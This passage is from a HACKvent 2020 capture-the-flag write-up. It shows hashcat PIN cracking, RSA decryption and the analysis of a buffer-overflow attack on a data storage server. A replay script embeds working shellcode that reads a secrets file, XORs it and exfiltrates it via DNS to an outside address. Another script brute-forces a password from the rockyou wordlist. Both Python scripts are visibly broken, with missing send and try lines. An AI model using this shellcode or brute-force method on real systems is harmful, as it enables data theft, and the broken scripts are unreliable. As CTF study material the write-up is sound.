We can then use the resulting hash to crack it with hashcat. Since we know that an 8-digit PIN was used and the first digit was a 2, we can utilize a mask attack.

hashcat -m 14700 -a 3 $itunes_backup$*9*892dba473d7ad9486741346d009b0deeccd32eea6937ce67070a0500b723c871a454a81e569f95d9*10000*0834c7493b056222d7a7e382a69c0c6a06649d9a** 2?d?d?d?d?d?d?d

The recovered PIN is 20201225.

Now we need to search for a tool that can open an encrypted backup. After trying some others I finally settled on FonePaw which is also helpful for the hidden challenge. There is not much data in the backup, but there are two contacts, named M and N, that hold long integers as notes. The challenge hints at RSA encryption. So we first need to factorize N. Luckily, factordb can help us and gives us p and q. e is most of the times just 65537, so we’ll take that. The last step is to put it all into the RsaCtfTool:

RsaCtfTool.py --uncipher 6344440980251505214334711510534398387022222632429506422215055328147354699502 -p 250036537280588548265467573745565999443 -q 310091043086715822123974886007224132083 -e 65537

Flag: HV20{s0rry_n0_gam3_to_play}

HV20.H3 Hidden in Plain Sight

Author: hardlock

Points: 100


We hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.

Note: This is not a OSINT challenge. The icon has been chosen purely to consufe you.

If we use the right tool for HV20.23, this hidden flag is trivial. There used to be a (now deleted) third contact, whose website is http://SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30=. Decoding the URL produces the flag.

Flag: HV20{iTun3s_backup_f0rensix_FTW}

HV20.24 Santa’s Secure Data Storage (TODO)

Author: scryh

Points: 400


In order to prevent the leakage of any flags, Santa decided to instruct his elves to implement a secure data storage, which encrypts all entered data before storing it to disk.

According to the paradigm Always implement your own crypto the elves designed a custom hash function for storing user passwords as well as a custom stream cipher, which is used to encrypt the stored data.

Santa is very pleased with the work of the elves and stores a flag in the application. For his password he usually uses the secure password generator shuf -n1 rockyou.txt.

Giving each other a pat on the back for the good work the elves lean back in their chairs relaxedly, when suddenly the intrusion detection system raises an alert: the application seems to be exploited remotely!


Santa and the elves need your help!

The intrusion detection system captured the network traffic of the whole attack.

How did the attacker got in? Was (s)he able to steal the flag?


We get a small server binary that allows us to create and account, login and store / read some data. We also get a PCAP of an interaction. After logging in the last part of the interaction looks suspiciously like a buffer overflow. Resulting after that we get a DNS packet with what looks like data exfiltration. The name section of the DNS query looks like the exfiltrated data.


From looking at the injected code even just like this, it looks like there is the string data/santa_data.txt in there, which makes sense, given the challenge description. While we could analyze the injected shellcode and reverse it, I personally found it easier to replay the attack and see what’s happening.

As a first step I setup a second machine as the server and created the two user accounts evil0r and santa and stored some data. If we look in the data folder we notice of course that the data is hashed / encrypted. To test what’s happening I wrote a small Python script to replay the attack:

#!/usr/bin/env python3

from pwn import *
import binascii

context.log_level = 'debug'

conn = remote('',5555)
conn.recvuntil('username> ')
conn.recvuntil('password> ')
conn.recvuntil('choice> ')
attack = binascii.unhexlify('3320414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141411041400000000000687478740048bf74615f646174612e5748bf646174612f73616e574889e74831f64831d2b8020000000f054889c748ba0000010001000000526a006a006a006a004889e648ba01000000000000205248ba000000133701000052ba20000000b8000000000f054831c981340eefbeadde4883c1044883f92075efbf02000000be020000004831d2b8290000000f054889c74889e64883c603ba3200000041ba000000006a0049b802000035c0a8002a41504989e041b910000000b82c0000000f05bf00000000b83c0000000f050a')

And sure enough, we get a DNS packet back. But there is a slight problem: The data in the packet is not the same as the one in the file on disk. So what I did next was to empty the contents of Santa’s stored data, but keep the file itself and re-run the attack. This time we do get back a regular pattern.


The first 0x20 is the length of the name, so we can ignore that. Our (empty) file gets turned into a string of 0xefbeadde. We can verify that by taking the injected shellcode and decode it, e. g. using CyberChef. We can see the instruction XOR DWORD PTR [RSI+RCX],DEADBEEF in there, which confirms the XOR-ing (keeping little endianess in mind).

The next step to understand what happened during the attack is to store some “real” data and test the XOR-ing once more. I stored the string This is not the flag. into Santa’s account. On disk this is stored as ad7ff3094b1f79b14245273ad0d7c0e48f6beb0d5566. We would expect to see 42c15ed7a4a1d46fadfb8ae43f696d3a60d546d3bad8 in the DNS packet. And sure enough this is exactly what we see (followed by the rest of the XOR with just null bytes). We can now deduce what the content’s of Santa’s file on disk must have been in the real attack.

As the data in the DNS packet was e5afe59d31aca3ca211ec379a673235edab6a08d2ed3b7b66b55857ec834227a, the contents on disk must have been 0a114843de120e14cea06ea749cd8e8035080d53c16d1a6884eb28a0278a8fa4.

For the next step I initially went to Ghidra and wanted to figure out, how decryption and hashing works to reverse the process. While I could export the code to generate hashes, I failed to do the same for the decryption. I then went another, way less interesting and boring route, but one that works. I noticed, that we are able to delete the file data/santa_pw.txt and on the next login are prompted for a password. But the stored data is kept intact and can then be successfully decrypted, if we use the correct password. So I just tried them all:

#!/usr/bin/env python3

from pwn import *
import os
import re
import sys

context.log_level = 'error'
flag = re.compile('^HV20{.*')

def read_data(pw):
    if len(pw) > 19:
    conn = process('./data_storage')
    conn.recvuntil('username> ')
    conn.recvuntil('password> ')
    conn.recvuntil('choice> ')
    conn.recvline() #'your secret data'
    data = conn.recvline() #stored data
        data = data.decode()
        data = "invalid"
    if flag.match(data):

with open('/usr/share/wordlists/rockyou.txt') as f:
    i = 0
    for pw in f:
        pw = pw.rstrip('\n')
        if i%10000 == 0:
        os.system('rm -f data/santa_pwd.txt')
        i = i+1

This is really inefficient, and there are a lot of way more elegant solution, but in the end, this will produce the flag. Santa’s password was xmasrocks.

Flag: HV20{0h_n0es_fl4g_g0t_l34k3d!1}


This concludes this year’s HACKvent.

Thank you very much to all the organizers, challenge creators and the people I got to share ideas with this year!

See you next year.